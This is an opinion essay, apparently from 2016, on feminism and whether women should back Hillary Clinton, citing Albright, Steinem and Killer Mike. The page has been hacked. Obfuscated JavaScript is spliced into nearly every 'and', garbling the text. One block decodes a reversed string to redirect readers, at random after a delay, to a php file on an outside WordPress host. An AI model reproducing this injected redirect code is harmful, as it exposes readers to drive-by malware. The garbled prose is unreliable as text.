Is Voting for Hillary ‘Affirmative Action’ for Women?

Hillary Clinton speaks in Washington

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I don’t think anyone is surprised that a woman presidential candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidate has set off a national debate about what it means to be feminist. It is not a surprise, but it is ridiculously frustrating.

We are in the midst of the craziest presidential election of my lifetime, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a woman has a legitimate shot at winning the White House. And yet, we are falling into old traps, letting others define andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and judge us. Women are turning against women. We are debating once again if women can lead andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how they should lead.

Former Secretary of State Madeline Albright started a firestorm when she recycled her most well-known quote at a Hillary Clinton campaign event: “There is a special place in hell for women who don’t help other women.” Feminist icon Gloria Steinem chastised female supporters of Bernie Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anders, suggesting they were just campaigning for him to meet boys.

I admire – even revere – these two women. But these statements stopped me in my tracks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prompted some serious soul-searching. I want a woman president, but I want her to win because she is the best leader, because she is the most qualified, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and because she has the best vision for our country. Maybe that is pie-in-the-sky thinking, or maybe I feel that way because I am living precisely the dream that our feminist mothers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andmothers worked so hard to achieve.

I fully realize that I am standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding on the shoulders of these women each andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and every day. I didn’t have to fight for my opportunity to play high school sports or to go to college or to work on Capitol Hill. I chose when I had children, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am making my own way in balancing career andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family.

The response of many women, especially young women, to Albright andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Steinem’s statements means that our mothers raised us right. We don’t like being told what we can andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can’t do. We resist labels andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and doctrines. We want to be our own people. For me – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and for many women – feminism today is about lifting women up, giving them choices andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and protecting equal opportunities. It is not about dogmas or a women’s-only club or special treatment.

But here’s the rub: While I don’t want to vote for a president just because she is a woman, there are many people who will vote – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and who have been voting – for candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidates simply because they are men. The long running stereotypes that women are too emotional, too weak, or too bossy to be leaders continue to haunt us.

Rapper >>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anders-rally/”>Killer Mike underscored this continuing problem last week when he said he effectively reduced Clinton’s leadership andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and career to her biology, saying he wouldn’t vote for someone just because they had a uterus. That kind of statement is inflammatory, demeaning, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and insulting.

I wish I knew the best way to advance the continued growth of women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the acceptance of the best person for the job. I don’t know what the next 50 years look like for feminism.

I do believe that each of us – especially women – has a real responsibility to consider the candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidates, their values, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and our nation’s future. We cannot standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on the sidelines. We have to exercise our hard-fought right to vote, to organize, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to make our voices heard.




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